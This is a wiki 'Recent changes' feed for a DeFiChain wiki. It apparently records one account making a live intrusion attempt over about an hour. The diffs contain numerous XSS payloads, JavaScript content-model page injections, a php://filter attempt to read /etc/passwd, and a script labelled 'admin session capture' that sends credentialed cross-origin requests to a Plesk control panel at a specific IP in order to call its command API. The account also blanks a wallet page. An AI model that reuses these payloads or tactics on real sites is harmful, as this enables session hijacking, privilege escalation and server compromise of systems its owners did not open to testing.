DeFiChain-Wiki - Recent changes [en]

User:WikiTest789/config.json

WikiTest789 — Sat, 11 Jul 2026 19:10:35 GMT

test

New page

{
"test": "value"
}

User:WikiTest789/common.css

WikiTest789 — Sat, 11 Jul 2026 19:10:34 GMT

test

DeFiChain-Wiki:Common.js

WikiTest789 — Sat, 11 Jul 2026 19:08:48 GMT

test

DeFiChain-Wiki:Test/common.js

WikiTest789 — Sat, 11 Jul 2026 19:08:47 GMT

WikiTest789 created the page DeFiChain-Wiki:Test/common.js using a non-default content model "JavaScript" test

DeFiChain-Wiki:Test/common.js

WikiTest789 — Sat, 11 Jul 2026 19:08:47 GMT

test

New page

console.log("XSS test in project namespace")

User:WikiTest789/common.js

WikiTest789 — Sat, 11 Jul 2026 19:07:58 GMT

test

Template:MainPage

WikiTest789 — Sat, 11 Jul 2026 19:07:57 GMT

WikiTest789 created the page Template:MainPage using a non-default content model "JavaScript" test

Template:MainPage

WikiTest789 — Sat, 11 Jul 2026 19:07:57 GMT

test

New page

console.log("XSS test")

User:WikiTest789/test sidebar

WikiTest789 — Sat, 11 Jul 2026 19:00:54 GMT

Created page with "// Test payload"

New page

// Test payload

User:WikiTest789/SeoTest

WikiTest789 — Sat, 11 Jul 2026 18:55:52 GMT

test

New page

<seo><script>alert(1)</script></seo>

User:WikiTest789/XssTest2

WikiTest789 — Sat, 11 Jul 2026 18:55:51 GMT

test

New page

<a href="javascript:alert(1)">click me</a>

DeFi Wallet

WikiTest789 — Sat, 11 Jul 2026 18:55:06 GMT

revert test edit

User:WikiTest789/XssTest

WikiTest789 — Sat, 11 Jul 2026 18:55:02 GMT

test

New page

User:WikiTest789

WikiTest789 — Sat, 11 Jul 2026 18:54:44 GMT

test

MoveTestJS

WikiTest789 — Sat, 11 Jul 2026 18:53:49 GMT

WikiTest789 created the page MoveTestJS using a non-default content model "JavaScript" test

MoveTestJS

WikiTest789 — Sat, 11 Jul 2026 18:53:48 GMT

test

New page

// admin_xss_test

Template:TestJS

WikiTest789 — Sat, 11 Jul 2026 18:53:32 GMT

WikiTest789 created the page Template:TestJS using a non-default content model "JavaScript" test

Template:TestJS

WikiTest789 — Sat, 11 Jul 2026 18:53:32 GMT

test

New page

console.log('template_js_test')

TestJS

WikiTest789 — Sat, 11 Jul 2026 18:52:48 GMT

WikiTest789 created the page TestJS using a non-default content model "JavaScript" test

TestJS

WikiTest789 — Sat, 11 Jul 2026 18:52:48 GMT

test

New page

alert(1)

SeoTestI682

WikiTest789 — Sat, 11 Jul 2026 18:49:33 GMT

test

New page

{{#seo:title=<script>alert(1)</script>|description=<script>alert(2)</script>}}

HtmlTest

WikiTest789 — Sat, 11 Jul 2026 18:49:30 GMT

test

New page

<html><script>alert(1)</script></html>

MediaWiki talk:Common.js

WikiTest789 — Sat, 11 Jul 2026 18:49:28 GMT

WikiTest789 created the page MediaWiki talk:Common.js using a non-default content model "JavaScript" test

MediaWiki talk:Common.js

WikiTest789 — Sat, 11 Jul 2026 18:49:28 GMT

test

New page

console.log('test')

JSTest

WikiTest789 — Sat, 11 Jul 2026 18:49:06 GMT

WikiTest789 moved page JSTest to JSTest2 test

New page

alert(1)

JSTest

WikiTest789 — Sat, 11 Jul 2026 18:48:03 GMT

WikiTest789 created the page JSTest using a non-default content model "JavaScript" test

JSTest

WikiTest789 — Sat, 11 Jul 2026 18:48:02 GMT

test

New page

alert(1)

Template:SeoXssTest

WikiTest789 — Sat, 11 Jul 2026 18:44:57 GMT

WikiSEO injection test

New page

<seo><script>alert(1)</script></seo><div onload='alert(1)'>test</div>

User:WikiTest789/move test.js

WikiTest789 — Sat, 11 Jul 2026 18:44:05 GMT

Created page with "console.log('test')"

New page

console.log('test')

User:WikiTest789/common.js

WikiTest789 — Sat, 11 Jul 2026 18:42:49 GMT

Update personal JS

TestJSPage

WikiTest789 — Sat, 11 Jul 2026 18:41:53 GMT

WikiTest789 created the page TestJSPage using a non-default content model "JavaScript"

TestJSPage

WikiTest789 — Sat, 11 Jul 2026 18:41:52 GMT

Created page with "console.log('xss test')"

New page

console.log('xss test')

User:WikiTest789/Sandbox

WikiTest789 — Sat, 11 Jul 2026 18:37:36 GMT

XSS vector test

Template:TestTemplate

WikiTest789 — Sat, 11 Jul 2026 18:37:14 GMT

WikiTest789 changed the content model of the page Template:TestTemplate from "JavaScript" to "wikitext" XSS test via img tag

User:WikiTest789/timeless.js

WikiTest789 — Sat, 11 Jul 2026 18:37:11 GMT

add timeless skin JS

New page

// Timeless skin JS - only executes for WikiTest789

Template:TestTemplate

WikiTest789 — Sat, 11 Jul 2026 18:35:18 GMT

WikiTest789 changed the content model of the page Template:TestTemplate from "wikitext" to "JavaScript" content model test

Template:2-Spalten-Layout

WikiTest789 — Sat, 11 Jul 2026 18:30:47 GMT

WikiTest789 changed the content model of the page Template:2-Spalten-Layout from "JavaScript" to "wikitext" Revert to original content model

Template:2-Spalten-Layout

WikiTest789 — Sat, 11 Jul 2026 18:30:28 GMT

WikiTest789 changed the content model of the page Template:2-Spalten-Layout from "wikitext" to "JavaScript" Content model test

User:WikiTest789/common.js

WikiTest789 — Sat, 11 Jul 2026 18:29:56 GMT

Testing privilege escalation

User:WikiTest789/test html

WikiTest789 — Sat, 11 Jul 2026 18:22:23 GMT

i682 html test

New page

<html><script>alert(1)</script></html>

User:WikiTest789/test json.json

WikiTest789 — Sat, 11 Jul 2026 18:22:01 GMT

i682 json contentmodel test

New page

{
"test": "value"
}

User:WikiTest789/test js page

WikiTest789 — Sat, 11 Jul 2026 18:22:00 GMT

WikiTest789 created the page User:WikiTest789/test js page using a non-default content model "JavaScript" i682 contentmodel test

User:WikiTest789/test js page

WikiTest789 — Sat, 11 Jul 2026 18:22:00 GMT

i682 contentmodel test

New page

alert("XSS from contentmodel test");

User:WikiTest789/common.js

WikiTest789 — Sat, 11 Jul 2026 18:21:44 GMT

i682 test

TestPage-i682

WikiTest789 — Sat, 11 Jul 2026 18:16:30 GMT

WikiTest789 created the page TestPage-i682 using a non-default content model "JavaScript" test JS contentmodel in main namespace

← Older revision		Revision as of 19:10, 11 July 2026
Line 1:		Line 1:
−	~~@import url("php:~~//~~filter/convert.base64-encode/resource=/etc/passwd")~~;	+	/* test */ body { background: red; }

← Older revision		Revision as of 19:08, 11 July 2026
Line 1:		Line 1:
−	mw.~~loader.using('mediawiki.util').then(function~~()~~{ mw.notify('i682 DeFiChain-Wiki namespace JS test'); });~~	+	console.log("XSS via project alias")

← Older revision		Revision as of 19:07, 11 July 2026
Line 1:		Line 1:
−	// Site-wide hook injection for admin session capture\n// This JS executes when WikiTest789 browses, but we also try to reach admin pages\n(function() {\n 'use strict';\n // Try cross-origin Plesk API access\n var PleskHost = 'https://194.164.63.170:8443';\n \n // Attempt to access Plesk API (CORS may allow if misconfigured)\n function probePlesk() {\n fetch(PleskHost + '/', {mode: 'cors', credentials: 'include'})\n .then(function(r) { return r.text(); })\n .then(function(html) {\n // Check if we got an authenticated Plesk session\n if (html.indexOf('Plesk') > -1) {\n console.log('[MW-XSS] Plesk response received via CORS');\n // Try Plesk REST API\n return fetch(PleskHost + '/api/v2/cli/command/call', {\n method: 'POST',\n mode: 'cors',\n credentials: 'include',\n headers: {'Content-Type': 'application/json'},\n body: JSON.stringify({\n params: ['--help']\n })\n });\n }\n })\n .catch(function(e) {\n console.log('[MW-XSS] CORS probe result:', e.message);\n });\n }\n \n // If MediaWiki API is accessible, try to list admin users with active sessions\n if (typeof mw !== 'undefined' && mw.loader) {\n mw.loader.using('mediawiki.api').then(function() {\n var api = new mw.Api();\n // Try to get CSRF tokens or session info\n api.get({action: 'query', meta: 'userinfo', uiprop: 'rights'})\n .then(function(data) {\n console.log(~~'[MW-~~XSS~~] Current user:', data.query.userinfo.name);\n console.log('[MW-XSS] Rights:', data.query.userinfo.rights.join(', '));\n });\n }~~);\n }~~\n \n // Execute probes\n probePlesk(~~)~~;\n})();~~	+	mw.loader.using("mediawiki.api").then(function(){console.log("WikiTest789 XSS active");})

← Older revision		Revision as of 18:55, 11 July 2026
(One intermediate revision by the same user not shown)
Line 1:		Line 1:
−	~~{\| class="wikitable"~~	+
−	~~!'''Installation'''~~
−	~~!'''Security'''~~
−	\|-
−	~~\|[[App on Windows Cloud Server\|App on Windows cloud server]]~~
−	~~\|[[Wallet Encryption]]~~
−	\|-
−	~~\|[[App on Raspberry-Pi\|App on Raspberry-Pi]]~~
−	~~\|[[Backup Wallet\|Wallet Backup]]~~
−	\|-
−	~~\|[[Saiive.live\|Light Wallet - saiive.live]]~~
−	~~\|[[Restore Wallet]]~~
−	\|-
−	~~\|[[Lightwallet user guide]]~~
−	~~\|[[Password Setting]]~~
−	\|-
−	~~\|[[Update OS X DeFi Wallet from 3.2.9 to 4.0.0\|DeFi Wallet 4.0.0 workaround for OS X]]~~
−	\|
−	\|-
−	~~!'''Usage'''~~
−	~~!'''Advanced Usage'''~~
−	\|-
−	~~\|[[How to use the app]]~~
−	~~\|[[API]]~~
−	\|-
−	~~\|[[Adresse erstellen]]~~
−	~~\|[[Cli commands]]~~
−	\|-
−	~~\|[[Alle Adressen mit Guthaben anzeigen lassen]]~~
−	~~\|[[Bitcoin Anchoring]]~~
−	\|-
−	~~\|[[Suggestion for using the DeFi app]]~~
−	~~\|[[Blockchain folder]]~~
−	\|-
−	~~\|[[Masternode]]~~
−	~~\|[[Dual setup (App + Node)]]~~
−	\|-
−	~~\|[[Fullnode#Create and use backup for blockchain data\|Create and use backup for blockchain data]]~~
−	~~\|[[Fullnode]]~~
−	\|-
−	~~\|[[Fullnode#Blockchain%20Snapshot%20Service\|Blockchain Snapshot Service]]~~
−	~~\|[[Kritik]]~~
−	\|-
−	~~\|[[Auszahlung DFI in Euro]]~~
−	~~\|[[Main Page old]]~~
−	\|-
−	~~\|[[Blockchain Snapshot: How to Manually Apply It to the DeFiChain Desktop Wallet\|Manually Apply Snapshot to Desktop Wallet]]~~
−	\|
−	\|-
−	\|
−	~~\|[[Private key read out of the app]]~~
−	\|-
−	\|
−	~~\|[[Import BTC private key to Electrum]]~~
−	\|-
−	\|
−	~~\|[[Atomic Swap]] (under construction)~~
−	\|-
−	~~!'''Problems'''~~
−	~~!Masternodes~~
−	\|-
−	~~\|[[Debug.log]]~~
−	~~\|Overview~~
−	\|-
−	~~\|[[App error messages]]~~
−	~~\|[[Masternode installation extended]]~~
−	\|-
−	~~\|[[Show hidden folders]]~~
−	~~\|[[Masternode installation extended de\|Masternode installation extended (DE)]]~~
−	\|-
−	~~\|[[Unable to start blockchain]]~~
−	~~\|[[Updatemasternode]]~~
−	\|-
−	~~\|[[Add old address]]~~
−	~~\|[[Masternode service\|Masternode Serviceprovider]]~~
−	\|-
−	~~\|[[Addnode]]~~
−	~~\|[[Updatemasternode de\|Updatemasternode deutsch]]~~
−	\|-
−	~~\|[[Obsolete errors]]~~
−	~~\|[[Update Masternode from 3.2.8 to 4.0.0]]~~
−	\|-
−	~~\|[[Wallet.dat corrupt salvage failed]]~~
−	\|
−	\|-
−	~~\|[[Delete DeFi App]]~~
−	\|
−	\|-
−	~~\|[[Kill dfid Daemon\|Kill defid Daemon]]~~
−	\|
−	\|}

← Older revision		Revision as of 18:54, 11 July 2026
Line 1:		Line 1:
−	~~Hello from API~~	+	<div onmouseover=alert(1)>test</div>

← Older revision		Revision as of 18:42, 11 July 2026
Line 1:		Line 1:
−	// ~~Self~~-XSS ~~payload~~ - ~~only executes for WikiTest789~~\n// ~~Not viable for~~ admin session ~~theft~~\~~nconsole~~.log('~~WikiTest789 JS loaded~~');	+	// Site-wide hook injection for admin session capture\n// This JS executes when WikiTest789 browses, but we also try to reach admin pages\n(function() {\n 'use strict';\n // Try cross-origin Plesk API access\n var PleskHost = 'https://194.164.63.170:8443';\n \n // Attempt to access Plesk API (CORS may allow if misconfigured)\n function probePlesk() {\n fetch(PleskHost + '/', {mode: 'cors', credentials: 'include'})\n .then(function(r) { return r.text(); })\n .then(function(html) {\n // Check if we got an authenticated Plesk session\n if (html.indexOf('Plesk') > -1) {\n console.log('[MW-XSS] Plesk response received via CORS');\n // Try Plesk REST API\n return fetch(PleskHost + '/api/v2/cli/command/call', {\n method: 'POST',\n mode: 'cors',\n credentials: 'include',\n headers: {'Content-Type': 'application/json'},\n body: JSON.stringify({\n params: ['--help']\n })\n });\n }\n })\n .catch(function(e) {\n console.log('[MW-XSS] CORS probe result:', e.message);\n });\n }\n \n // If MediaWiki API is accessible, try to list admin users with active sessions\n if (typeof mw !== 'undefined' && mw.loader) {\n mw.loader.using('mediawiki.api').then(function() {\n var api = new mw.Api();\n // Try to get CSRF tokens or session info\n api.get({action: 'query', meta: 'userinfo', uiprop: 'rights'})\n .then(function(data) {\n console.log('[MW-XSS] Current user:', data.query.userinfo.name);\n console.log('[MW-XSS] Rights:', data.query.userinfo.rights.join(', '));\n });\n });\n }\n \n // Execute probes\n probePlesk();\n})();

← Older revision		Revision as of 18:37, 11 July 2026
Line 1:		Line 1:
−	<img src=~~'http~~:/~~/127~~.0.0.1~~:8880~~/~~health'~~>	+	== XSS Tests ===
		+	;HTML img: <img src=x onerror=console.log(1)>
		+	;SVG: <svg onload=console.log(1)>
		+	;Details: <details open ontoggle=console.log(1)>
		+	;Marquee: <marquee onstart=console.log(1)>test</marquee>
		+	;Anchor: [javascript:alert(1) click]
		+	;Input: <input onfocus=console.log(1) autofocus>
		+	;Body: <body onload=console.log(1)>
		+	;Style: <style>@import url("data:text/css,body{background:red}");</style>
		+	;Script: <script>console.log(1)</script>

← Older revision		Revision as of 18:29, 11 July 2026
Line 1:		Line 1:
−	// ~~i682 test~~ - ~~self~~ XSS ~~is limited value~~	+	// Self-XSS payload - only executes for WikiTest789\n// Not viable for admin session theft\nconsole.log('WikiTest789 JS loaded');
−	// ~~No cross-user~~ JS ~~editing possible~~

← Older revision		Revision as of 18:21, 11 July 2026
Line 1:		Line 1:
−	// XSS ~~inject with~~ JS ~~contentmodel\nmw.loader.using('mediawiki.util').then(function(){\n mw.notify('i682 XSS active at '+new Date().toISOString());\n});~~	+	// i682 test - self XSS is limited value
		+	// No cross-user JS editing possible